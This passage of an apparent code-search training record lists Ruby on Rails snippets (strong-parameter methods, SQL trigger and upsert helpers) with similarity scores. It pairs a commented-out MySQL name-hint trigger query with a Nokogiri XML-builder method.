"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def parameters\n nil\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] |
[
"0.7121987",
"0.70541996",
"0.69483954",
"0.6902367",
"0.6733912",
"0.6717838",
"0.6687021",
"0.6676254",
"0.66612333",
"0.6555296",
"0.6527056",
"0.6456324",
"0.6450841",
"0.6450127",
"0.6447226",
"0.6434961",
"0.64121825",
"0.64121825",
"0.63913447",
"0.63804525",
"0.63804525",
"0.6373396",
"0.6360051",
"0.6355191",
"0.62856233",
"0.627813",
"0.62451434",
"0.6228103",
"0.6224965",
"0.6222941",
"0.6210244",
"0.62077755",
"0.61762565",
"0.61711127",
"0.6168448",
"0.6160164",
"0.61446255",
"0.6134175",
"0.6120522",
"0.6106709",
"0.60981655",
"0.6076113",
"0.60534036",
"0.60410434",
"0.6034582",
"0.6029977",
"0.6019861",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.6019158",
"0.60184896",
"0.60157263",
"0.6005857",
"0.6003803",
"0.60012573",
"0.59955895",
"0.5994598",
"0.5993604",
"0.5983824",
"0.5983166",
"0.5977431",
"0.597591",
"0.5968824",
"0.5965953",
"0.59647584",
"0.59647584",
"0.59566855",
"0.59506303",
"0.5950375",
"0.59485626",
"0.59440875",
"0.5930872",
"0.5930206",
"0.5925668",
"0.59235454",
"0.5917905",
"0.59164816",
"0.5913821",
"0.59128743",
"0.5906617",
"0.59053683",
"0.59052664",
"0.5901591",
"0.58987755",
"0.5897456",
"0.58970183",
"0.58942604"
] |
0.0
|
-1
|
trigger.before(:insert) do %q( SET NEW.last_name_hint = (SELECT dictionary.dictionary_ip FROM dictionary JOIN student ON NEW.student_fname = dictionary.dictionary_id LIMIT 1), NEW.first_name_hint = (SELECT dictionary.dictionary_ip FROM dictionary JOIN student ON NEW.student_iname = dictionary.dictionary_id LIMIT 1), NEW.patronym_hint = (SELECT dictionary.dictionary_ip FROM dictionary JOIN student ON NEW.student_oname = dictionary.dictionary_id LIMIT 1) ) end trigger.before(:update) do |t| t.where('NEW.student_fname OLD.student_fname OR NEW.student_iname OLD.student_iname OR NEW.student_oname OLD.student_oname') do %q( SET NEW.last_name_hint = (SELECT dictionary.dictionary_ip FROM dictionary JOIN student ON NEW.student_fname = dictionary.dictionary_id LIMIT 1), NEW.first_name_hint = (SELECT dictionary.dictionary_ip FROM dictionary JOIN student ON NEW.student_iname = dictionary.dictionary_id LIMIT 1), NEW.patronym_hint = (SELECT dictionary.dictionary_ip FROM dictionary JOIN student ON NEW.student_oname = dictionary.dictionary_id LIMIT 1) ) end end
|
def to_nokogiri
Nokogiri::XML::Builder.new(encoding: 'UTF-8') { |xml|
xml.person {
xml.id_ student_id
xml.sex (male? ? 1 : 0)
xml.hostel hostel.address if student_room
xml.foreign student_foreign if student_foreign
xml.benefits student_benefits if student_benefits == BENEFITS_ORPHAN
name_to_nokogiri.children[0].children.each { |part| xml << part.to_xml }
}
}.doc
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def before_update_save(record); end",
"def after_update_save(record); end",
"def on_upsert\n #\n end",
"def before_update; end",
"def modify_after_insert(conn, postgres_cmd, default_cmd)\n conn = ActiveRecord::Base.connection\n cmd = if conn.instance_values[\"config\"][:adapter].in? %w[postgresql postgres postgis]\n postgres_cmd\n else\n default_cmd\n end\n\n %i[enrollments organisations contacts addresses].each do |t|\n conn.execute \"#{cmd} flood_risk_engine_#{t};\"\n end\n end",
"def before_save(*); end",
"def create_queries\n gen_rulename\n [\"\n -- FN for sync updates \n CREATE FUNCTION fn_#{suffix}()\n RETURNS TRIGGER\n LANGUAGE plpgsql\n AS $function$\n BEGIN\n UPDATE #{dest_table}\n SET #{ cols.map{|src, dest| \"\\\"#{dest}\\\" = NEW.\\\"#{src}\\\"\" }.join(', ') }\n WHERE \\\"#{map_dest}\\\" = NEW.\\\"#{map_src}\\\";\n RETURN NULL;\n END;\n $function$;\",\n \"\n -- TR for sync updates\n CREATE TRIGGER tr_#{suffix}\n AFTER INSERT OR UPDATE ON #{src_table} \n FOR EACH ROW EXECUTE PROCEDURE fn_#{suffix}();\",\n \"\n -- FN for cleaner\n CREATE FUNCTION fn_#{suffix}_cleaner()\n RETURNS TRIGGER\n LANGUAGE plpgsql\n AS $function$\n BEGIN\n IF OLD.sid = #{sid_src} OR OLD.sid = #{sid_dest} THEN\n #{delete_queries.join(' ')}\n END IF;\n RETURN NULL;\n END;\n $function$;\",\n \"\n -- TR for cleaner\n CREATE TRIGGER tr_#{suffix}_cleaner\n AFTER DELETE ON #{surveys_table}\n FOR EACH ROW EXECUTE PROCEDURE fn_#{suffix}_cleaner();\n \"]\n end",
"def after_save(record)\n \n end",
"def staff_insert(h)\n \t\trows = @database.execute <<-SQL\n\t\t\tINSERT INTO staff\n\t\t\t\t( person\n\t\t\t\t, first_name\n\t\t\t\t, last_name\n\t\t\t\t, staff_id\n\t\t\t\t, rate\n\t\t\t\t)\n\t\t\tVALUES\n\t\t\t\t('#{h['person']}'\n\t\t\t\t, '#{h['first_name']}'\n\t\t\t\t, '#{h['last_name']}'\n\t\t\t\t, '#{h['staff_id']}'\n\t\t\t\t, '#{h['rate']}'\n\t\t\t\t)\n\t\tSQL\n\tend",
"def triggerStatements _args\n \"triggerStatements _args;\" \n end",
"def create_or_replace_replication_trigger_function(params)\n execute(<<-end_sql)\n DROP PROCEDURE IF EXISTS `#{params[:trigger_name]}`;\n end_sql\n \n activity_check = \"\"\n if params[:exclude_rr_activity] then\n activity_check = <<-end_sql\n DECLARE active INT;\n SELECT count(*) INTO active FROM #{params[:activity_table]};\n IF active <> 0 THEN\n LEAVE p;\n END IF;\n end_sql\n end\n\n execute(<<-end_sql)\n CREATE PROCEDURE `#{params[:trigger_name]}`(change_key varchar(2000), change_new_key varchar(2000), change_type varchar(1))\n p: BEGIN\n #{activity_check}\n INSERT INTO #{params[:log_table]}(change_table, change_key, change_new_key, change_type, change_time)\n VALUES('#{params[:table]}', change_key, change_new_key, change_type, now());\n END;\n end_sql\n \n end",
"def after_create_save(record); end",
"def disambiguate_fields\n if name_changed? # New, Updated\n fields = self.class.specific.where(\"LOWER(name) = LOWER(?)\", self.name)\n fields.update_all(:disambiguate => fields.many?)\n end\n\n if name_was # Updated, Destroyed\n fields = self.class.specific.where(\"LOWER(name) = LOWER(?)\", self.name_was)\n fields.update_all(:disambiguate => fields.many?)\n end\n end",
"def multi_insert_sql_strategy\n :values\n end",
"def _insert_dataset\n if upsert_plugin_upserting\n if postgres?\n super.insert_conflict(update: values_to_update, target: self.class.upsert_plugin_identifying_columns)\n elsif mysql?\n columns_to_update = values_to_update.keys - self.class.upsert_plugin_identifying_columns\n super.on_duplicate_key_update(*columns_to_update)\n else\n super\n end\n else\n super\n end\n end",
"def insert_conflict_sql(sql)\n if opts = @opts[:insert_conflict]\n sql << \" ON CONFLICT\"\n\n if target = opts[:constraint] \n sql << \" ON CONSTRAINT \"\n identifier_append(sql, target)\n elsif target = opts[:target]\n sql << ' '\n identifier_append(sql, Array(target))\n if conflict_where = opts[:conflict_where]\n sql << \" WHERE \"\n literal_append(sql, conflict_where)\n end\n end\n\n if values = opts[:update]\n sql << \" DO UPDATE SET \"\n update_sql_values_hash(sql, values)\n if update_where = opts[:update_where]\n sql << \" WHERE \"\n literal_append(sql, update_where)\n end\n else\n sql << \" DO NOTHING\"\n end\n end\n end",
"def pgt_trigger(table, trigger_name, function_name, events, definition, opts={})\n create_function(function_name, definition, :language=>:plpgsql, :returns=>:trigger, :replace=>true)\n create_trigger(table, trigger_name, function_name, :events=>events, :each_row=>true, :after=>opts[:after])\n end",
"def update_where(table, what, where, *bindvars)\n sql = \"update #{table.name}\\nset #{what} where #{where}\"\n#$stderr.puts sql\n db.do(sql, *bindvars)\n end",
"def triggers\n\n end",
"def apply_single\n validate_schema\n\n # Prepare some lists of columns.\n key_cols = @db1.primary_key(@table1)\n data_cols = @db1.except_primary_key(@table1)\n all_cols = @db1.column_names(@table1)\n\n # Let our public know we are beginning.\n @patch.begin_diff\n\n # Advertise column names.\n @rc_columns = DiffColumns.new\n @rc_columns.title_row = all_cols\n @rc_columns.update(0)\n cells = all_cols.map{|v| { :txt => v, :value => v, :cell_mode => \"\" }}\n rc = RowChange.new(\"@@\",cells)\n @patch.apply_row(rc)\n\n # If requested, we will be providing context rows around changed rows.\n # This is not a natural thing to do with SQL, so we do it only on request.\n # When requested, we need to buffer row changes.\n @pending_rcs = []\n\n # Prepare some useful SQL fragments to assemble later.\n sql_table1 = @db1.quote_table(@table1)\n sql_table2 = @db1.quote_table(@table2)\n sql_key_cols = key_cols.map{|c| @db1.quote_column(c)}.join(\",\")\n sql_all_cols = all_cols.map{|c| @db1.quote_column(c)}.join(\",\")\n sql_key_match = key_cols.map{|c| @db1.quote_column(c)}.map{|c| \"#{sql_table1}.#{c} IS #{sql_table2}.#{c}\"}.join(\" AND \")\n sql_data_mismatch = data_cols.map{|c| @db1.quote_column(c)}.map{|c| \"#{sql_table1}.#{c} IS NOT #{sql_table2}.#{c}\"}.join(\" OR \")\n\n # For one query we will need to interleave columns from two tables. For\n # portability we need to give these columns distinct names.\n weave = all_cols.map{|c| [[sql_table1,@db1.quote_column(c)],\n [sql_table2,@db2.quote_column(c)]]}.flatten(1)\n dbl_cols = weave.map{|c| \"#{c[0]}.#{c[1]}\"}\n sql_dbl_cols = weave.map{|c| \"#{c[0]}.#{c[1]} AS #{c[0].gsub(/[^a-zA-Z0-9]/,'_')}_#{c[1].gsub(/[^a-zA-Z0-9]/,'_')}\"}.join(\",\")\n\n # Prepare a map of primary key offsets.\n keys_in_all_cols = key_cols.each.map{|c| all_cols.index(c)}\n keys_in_dbl_cols = keys_in_all_cols.map{|x| 2*x}\n\n # Find rows in table2 that are not in table1.\n sql = \"SELECT #{sql_all_cols} FROM #{sql_table2} WHERE NOT EXISTS (SELECT 1 FROM #{sql_table1} WHERE #{sql_key_match})\"\n apply_inserts(sql,all_cols,keys_in_all_cols)\n\n # Find rows in table1 and table2 that differ while having the same primary\n # key.\n sql = \"SELECT #{sql_dbl_cols} FROM #{sql_table1} INNER JOIN #{sql_table2} ON #{sql_key_match} WHERE #{sql_data_mismatch}\"\n apply_updates(sql,dbl_cols,keys_in_dbl_cols)\n\n # Find rows that are in table1 but not table2\n sql = \"SELECT #{sql_all_cols} FROM #{sql_table1} WHERE NOT EXISTS (SELECT 1 FROM #{sql_table2} WHERE #{sql_key_match})\"\n apply_deletes(sql,all_cols,keys_in_all_cols)\n\n # If we are supposed to provide context, we need to deal with row order.\n if @patch.want_context\n sql = \"SELECT #{sql_all_cols}, 0 AS __coopy_tag__ FROM #{sql_table1} UNION SELECT #{sql_all_cols}, 1 AS __coopy_tag__ FROM #{sql_table2} ORDER BY #{sql_key_cols}, __coopy_tag__\"\n apply_with_context(sql,all_cols,keys_in_all_cols)\n end\n\n # Done!\n @patch.end_diff\n end",
"def apply_single\n validate_schema\n\n # Prepare some lists of columns.\n key_cols = @db1.primary_key(@table1)\n data_cols = @db1.except_primary_key(@table1)\n all_cols = @db1.column_names(@table1)\n\n # Let our public know we are beginning.\n @patch.begin_diff\n\n # Advertise column names.\n @rc_columns = DiffColumns.new\n @rc_columns.title_row = all_cols\n @rc_columns.update(0)\n cells = all_cols.map{|v| { :txt => v, :value => v, :cell_mode => \"\" }}\n rc = RowChange.new(\"@@\",cells)\n @patch.apply_row(rc)\n\n # If requested, we will be providing context rows around changed rows.\n # This is not a natural thing to do with SQL, so we do it only on request.\n # When requested, we need to buffer row changes.\n @pending_rcs = []\n\n # Prepare some useful SQL fragments to assemble later.\n sql_table1 = @db1.quote_table(@table1)\n sql_table2 = @db1.quote_table(@table2)\n sql_key_cols = key_cols.map{|c| @db1.quote_column(c)}.join(\",\")\n sql_all_cols = all_cols.map{|c| @db1.quote_column(c)}.join(\",\")\n sql_key_match = key_cols.map{|c| @db1.quote_column(c)}.map{|c| \"#{sql_table1}.#{c} IS #{sql_table2}.#{c}\"}.join(\" AND \")\n sql_data_mismatch = data_cols.map{|c| @db1.quote_column(c)}.map{|c| \"#{sql_table1}.#{c} IS NOT #{sql_table2}.#{c}\"}.join(\" OR \")\n\n # For one query we will need to interleave columns from two tables. For\n # portability we need to give these columns distinct names.\n weave = all_cols.map{|c| [[sql_table1,@db1.quote_column(c)],\n [sql_table2,@db2.quote_column(c)]]}.flatten(1)\n dbl_cols = weave.map{|c| \"#{c[0]}.#{c[1]}\"}\n sql_dbl_cols = weave.map{|c| \"#{c[0]}.#{c[1]} AS #{c[0].gsub(/[^a-zA-Z0-9]/,'_')}_#{c[1].gsub(/[^a-zA-Z0-9]/,'_')}\"}.join(\",\")\n\n # Prepare a map of primary key offsets.\n keys_in_all_cols = key_cols.each.map{|c| all_cols.index(c)}\n keys_in_dbl_cols = keys_in_all_cols.map{|x| 2*x}\n\n # Find rows in table2 that are not in table1.\n sql = \"SELECT #{sql_all_cols} FROM #{sql_table2} WHERE NOT EXISTS (SELECT 1 FROM #{sql_table1} WHERE #{sql_key_match})\"\n apply_inserts(sql,all_cols,keys_in_all_cols)\n\n # Find rows in table1 and table2 that differ while having the same primary\n # key.\n sql = \"SELECT #{sql_dbl_cols} FROM #{sql_table1} INNER JOIN #{sql_table2} ON #{sql_key_match} WHERE #{sql_data_mismatch}\"\n apply_updates(sql,dbl_cols,keys_in_dbl_cols)\n\n # Find rows that are in table1 but not table2\n sql = \"SELECT #{sql_all_cols} FROM #{sql_table1} WHERE NOT EXISTS (SELECT 1 FROM #{sql_table2} WHERE #{sql_key_match})\"\n apply_deletes(sql,all_cols,keys_in_all_cols)\n\n # If we are supposed to provide context, we need to deal with row order.\n if @patch.want_context\n sql = \"SELECT #{sql_all_cols}, 0 AS __coopy_tag__ FROM #{sql_table1} UNION SELECT #{sql_all_cols}, 1 AS __coopy_tag__ FROM #{sql_table2} ORDER BY #{sql_key_cols}, __coopy_tag__\"\n apply_with_context(sql,all_cols,keys_in_all_cols)\n end\n\n # Done!\n @patch.end_diff\n end",
"def apply_single\n validate_schema\n\n # Prepare some lists of columns.\n key_cols = @db1.primary_key(@table1)\n data_cols = @db1.except_primary_key(@table1)\n all_cols = @db1.column_names(@table1)\n\n # Let our public know we are beginning.\n @patch.begin_diff\n\n # Advertise column names.\n @rc_columns = DiffColumns.new\n @rc_columns.title_row = all_cols\n @rc_columns.update(0)\n cells = all_cols.map{|v| { :txt => v, :value => v, :cell_mode => \"\" }}\n rc = RowChange.new(\"@@\",cells)\n @patch.apply_row(rc)\n\n # If requested, we will be providing context rows around changed rows.\n # This is not a natural thing to do with SQL, so we do it only on request.\n # When requested, we need to buffer row changes.\n @pending_rcs = []\n\n # Prepare some useful SQL fragments to assemble later.\n sql_table1 = @db1.quote_table(@table1)\n sql_table2 = @db1.quote_table(@table2)\n sql_key_cols = key_cols.map{|c| @db1.quote_column(c)}.join(\",\")\n sql_all_cols = all_cols.map{|c| @db1.quote_column(c)}.join(\",\")\n sql_key_match = key_cols.map{|c| @db1.quote_column(c)}.map{|c| \"#{sql_table1}.#{c} IS #{sql_table2}.#{c}\"}.join(\" AND \")\n sql_data_mismatch = data_cols.map{|c| @db1.quote_column(c)}.map{|c| \"#{sql_table1}.#{c} IS NOT #{sql_table2}.#{c}\"}.join(\" OR \")\n\n # For one query we will need to interleave columns from two tables. For\n # portability we need to give these columns distinct names.\n weave = all_cols.map{|c| [[sql_table1,@db1.quote_column(c)],\n [sql_table2,@db2.quote_column(c)]]}.flatten(1)\n dbl_cols = weave.map{|c| \"#{c[0]}.#{c[1]}\"}\n sql_dbl_cols = weave.map{|c| \"#{c[0]}.#{c[1]} AS #{c[0].gsub(/[^a-zA-Z0-9]/,'_')}_#{c[1].gsub(/[^a-zA-Z0-9]/,'_')}\"}.join(\",\")\n\n # Prepare a map of primary key offsets.\n keys_in_all_cols = key_cols.each.map{|c| all_cols.index(c)}\n keys_in_dbl_cols = keys_in_all_cols.map{|x| 2*x}\n\n # Find rows in table2 that are not in table1.\n sql = \"SELECT #{sql_all_cols} FROM #{sql_table2} WHERE NOT EXISTS (SELECT 1 FROM #{sql_table1} WHERE #{sql_key_match})\"\n apply_inserts(sql,all_cols,keys_in_all_cols)\n\n # Find rows in table1 and table2 that differ while having the same primary\n # key.\n sql = \"SELECT #{sql_dbl_cols} FROM #{sql_table1} INNER JOIN #{sql_table2} ON #{sql_key_match} WHERE #{sql_data_mismatch}\"\n apply_updates(sql,dbl_cols,keys_in_dbl_cols)\n\n # Find rows that are in table1 but not table2\n sql = \"SELECT #{sql_all_cols} FROM #{sql_table1} WHERE NOT EXISTS (SELECT 1 FROM #{sql_table2} WHERE #{sql_key_match})\"\n apply_deletes(sql,all_cols,keys_in_all_cols)\n\n # If we are supposed to provide context, we need to deal with row order.\n if @patch.want_context\n sql = \"SELECT #{sql_all_cols}, 0 AS __coopy_tag__ FROM #{sql_table1} UNION SELECT #{sql_all_cols}, 1 AS __coopy_tag__ FROM #{sql_table2} ORDER BY #{sql_key_cols}, __coopy_tag__\"\n apply_with_context(sql,all_cols,keys_in_all_cols)\n end\n\n # Done!\n @patch.end_diff\n end",
"def populate_students_prob(db, true_o_false, students_id, probs_id)\n db.execute(\"INSERT INTO students_problems (answered_correct, id_student, id_problem) VALUES (?, ?, ?);\", [true_o_false, students_id, probs_id])\nend",
"def autosave_associated_records_for_students\n if association = association_instance_get(:students)\n if records = associated_records_to_validate_or_save(association, @new_record_before_save, false)\n if records.any?\n begin\n values = records.map do |record|\n \"(#{record.id},#{id})\"\n end.join(',')\n Student.connection.execute(%(INSERT INTO export_data_students (\"student_id\", \"export_data_id\") VALUES #{values}))\n rescue\n raise ActiveRecord::Rollback\n end\n end\n end\n association.send(:reset_scope) if association.respond_to?(:reset_scope)\n end\n end",
"def merge_insert(*values, &block)\n h = {:type=>:insert, :values=>values}\n if override = @opts[:override]\n h[:override] = insert_override_sql(String.new)\n end\n _merge_when(h, &block)\n end",
"def orm_patches_applied; end",
"def trigger\n trigger_function = \"insert_#{master_table}\"\n unless @column == 'page'\n column = \"#{@column},\"\n column_function = \"coalesce(quote_literal(NEW.#{@column}), 'NULL') || ',' ||\"\n end\n \n cmd = <<-COMMAND\n CREATE OR REPLACE FUNCTION #{trigger_function}() \n RETURNS TRIGGER AS $$ \n DECLARE\n ins_sql TEXT; \n BEGIN\n ins_sql := 'INSERT INTO daily_#{@column}_views_' || (NEW.writer_id % #{@partition_size}) ||\n '(date,article_id,#{column}count,writer_id,partition_id) \n VALUES ' ||\n '('|| quote_literal(NEW.date) || ',' || NEW.article_id ||',' ||\n \t#{column_function} \n \t\t\tNEW.count || ',' || \n \t\t\tNEW.writer_id || ',' || (NEW.writer_id % #{@partition_size}) ||')'\n ; \n EXECUTE ins_sql;\n RETURN NULL;\n END; \n $$\n LANGUAGE plpgsql;\n \n CREATE TRIGGER #{trigger_function}_trigger\n BEFORE INSERT ON #{master_table}\n FOR EACH ROW EXECUTE PROCEDURE #{trigger_function}();\n COMMAND\n @conns.each{|conn| conn.exec(cmd)}\n end",
"def create!\n Upsert.logger.info \"[upsert] Creating or replacing database function #{name.inspect} on table #{table_name.inspect} for selector #{selector_keys.map(&:inspect).join(', ')} and setter #{setter_keys.map(&:inspect).join(', ')}\"\n\n selector_column_definitions = column_definitions.select { |cd| selector_keys.include?(cd.name) }\n setter_column_definitions = column_definitions.select { |cd| setter_keys.include?(cd.name) }\n update_column_definitions = setter_column_definitions.select { |cd| cd.name !~ CREATED_COL_REGEX && !options[\"ignore_on_update\"].include?(cd.name) }\n\n first_try = true\n connection.execute(%{\n CREATE OR REPLACE FUNCTION #{name}(#{(selector_column_definitions.map(&:to_selector_arg) + setter_column_definitions.map(&:to_setter_arg)).join(', ')}) RETURNS VOID AS\n $$\n DECLARE\n first_try INTEGER := 1;\n BEGIN\n LOOP\n -- first try to update the key\n UPDATE #{quoted_table_name} SET #{update_column_definitions.map(&:to_setter).join(', ')}\n WHERE #{selector_column_definitions.map(&:to_selector).join(' AND ') };\n IF found THEN\n RETURN;\n END IF;\n -- not there, so try to insert the key\n -- if someone else inserts the same key concurrently,\n -- we could get a unique-key failure\n BEGIN\n INSERT INTO #{quoted_table_name}(#{setter_column_definitions.map(&:quoted_name).join(', ')}) VALUES (#{setter_column_definitions.map(&:to_setter_value).join(', ')});\n RETURN;\n EXCEPTION WHEN unique_violation THEN\n -- seamusabshere 9/20/12 only retry once\n IF (first_try = 1) THEN\n first_try := 0;\n ELSE\n RETURN;\n END IF;\n -- Do nothing, and loop to try the UPDATE again.\n END;\n END LOOP;\n END;\n $$\n LANGUAGE plpgsql;\n })\n rescue\n if first_try and $!.message =~ /tuple concurrently updated/\n first_try = false\n retry\n else\n raise $!\n end\n end",
"def create_replication_trigger(params)\n create_or_replace_replication_trigger_function params\n\n %w(insert update delete).each do |action|\n execute(<<-end_sql)\n DROP TRIGGER IF EXISTS `#{params[:trigger_name]}_#{action}`;\n end_sql\n\n # The created triggers can handle the case where the trigger procedure\n # is updated (that is: temporarily deleted and recreated) while the\n # trigger is running.\n # For that an MySQL internal exception is raised if the trigger\n # procedure cannot be found. The exception is caught by an trigger\n # internal handler. \n # The handler causes the trigger to retry calling the\n # trigger procedure several times with short breaks in between.\n\n trigger_var = action == 'delete' ? 'OLD' : 'NEW'\n if action == 'update'\n call_statement = \"CALL `#{params[:trigger_name]}`(#{key_clause('OLD', params)}, #{key_clause('NEW', params)}, '#{action[0,1].upcase}');\"\n else\n call_statement = \"CALL `#{params[:trigger_name]}`(#{key_clause(trigger_var, params)}, null, '#{action[0,1].upcase}');\"\n end\n execute(<<-end_sql)\n CREATE TRIGGER `#{params[:trigger_name]}_#{action}`\n AFTER #{action} ON `#{params[:table]}` FOR EACH ROW BEGIN\n DECLARE number_attempts INT DEFAULT 0;\n DECLARE failed INT;\n DECLARE CONTINUE HANDLER FOR 1305 BEGIN\n DO SLEEP(0.05);\n SET failed = 1;\n SET number_attempts = number_attempts + 1;\n END;\n REPEAT\n SET failed = 0;\n #{call_statement}\n UNTIL failed = 0 OR number_attempts >= 40 END REPEAT;\n END;\n end_sql\n end\n\n end",
"def orm_patches_applied=(_arg0); end",
"def after_insert(row_obj)\r\n \r\n record = by_primary_id(row_obj.primary_id)\r\n \r\n test_event_id = record.fields[\"test_event_id\"].value\r\n record.fields[\"test_id\"].value = $tables.attach(\"TEST_EVENTS\").field_by_pid(\"test_id\",test_event_id).value\r\n record.save\r\n \r\n field = record.fields[\"test_event_site_id\"]\r\n if !(field.value.nil?)\r\n \r\n update_attendance_record(field)\r\n \r\n end\r\n \r\n end",
"def update_flower_name(old_name, genus, species, new_name)\n old_name = ActiveRecord::Base.sanitize_sql(old_name)\n genus = ActiveRecord::Base.sanitize_sql(genus)\n species = ActiveRecord::Base.sanitize_sql(species)\n new_name = ActiveRecord::Base.sanitize_sql(new_name)\n\n $db.execute %{UPDATE FLOWERS\n\t\tSET COMNAME = '#{new_name}', GENUS = '#{genus}', SPECIES = '#{species}'\n\t\tWHERE COMNAME = '#{old_name}';}\nend",
"def before_create_save(record); end",
"def add_trigger(table, events, options={})\n events += [:row] if options.delete(:row)\n events += [:before] if options.delete(:before)\n trigger = TriggerDefinition.new(0, table, options[:name], events, options[:function])\n execute trigger.to_sql_create\n end",
"def add_trigger(table, events, options={})\n events += [:row] if options.delete(:row)\n events += [:before] if options.delete(:before)\n trigger = TriggerDefinition.new(0, table, options[:name], events, options[:function])\n execute trigger.to_sql_create\n end",
"def create_trigger(table_name, proc_name, event, options = {})\n\n end",
"def save\r\n # raise error if schema is not same between from and to.\r\n # so , create sql from record map\r\n #keys = get_schema.map{|v| v[0]}\r\n keys = @__stored_map__.keys\r\n sql = \"insert into #{self.class.table_name} (#{keys.join(',')}) values( \"\r\n\r\n keys.each_with_index do |key , index|\r\n v = @__stored_map__[key]\r\n sql << ',' if index != 0\r\n sql << (v.kind_of?(String) ? \"'#{v}'\" : v.to_s)\r\n end\r\n sql << \")\"\r\n puts sql if $DEBUG\r\n self.class.execute_sql(sql)\r\n end",
"def record_update(what, old_value, new_value, user)\n self.design_updates << DesignUpdate.new(:what => what,\n :user_id => user.id,\n :old_value => old_value,\n :new_value => new_value)\n end",
"def test_assignment_binds_are_substituted\n table = Table.new(:users)\n um = Arel::UpdateManager.new Table.engine\n bp = Nodes::BindParam.new '?'\n um.set [[table[:name], bp]]\n visitor = Class.new(Arel::Visitors::ToSql) {\n include Arel::Visitors::BindVisitor\n }.new Table.engine.connection\n\n assignment = um.ast.values[0]\n actual = visitor.accept(assignment, collector) {\n \"replace\"\n }\n assert actual\n value = actual.value\n assert_like \"\\\"name\\\" = replace\", value\n end",
"def update!(**args)\n @triggers = args[:triggers] if args.key?(:triggers)\n end",
"def update!(**args)\n @triggers = args[:triggers] if args.key?(:triggers)\n end",
"def before_update_save(record)\n record.puesto_id = nil\n record.origen_id = record.buzon_id\n record.carpeta_id = nil\n record.add_traza(current_user.id, 8, current_user.puesto.buzon_id)\n if record.documento.digital \n record.despachar\n else\n record.estado_id = 6\n end\n end",
"def after_columns_created\n end",
"def fill_mandatory_attributes(record, new_record)\n record[:usr_id] = $DB[\"SELECT nextval('users_usr_id_seq') as id\"].first[:id] if new_record\n record[:usr_screen_name] ||= \"userX#{$cntr+=1}\"\n\n if new_record\n [:usr_firstname, :usr_lastname].each do |col|\n record[col] = \"tmp_placeholder\"\n LOGGER.warn \"No #{col} for existing record: #{record[:usr_id]}\"\n end\n end\nend",
"def multi_insert_sql_strategy\n :union\n end",
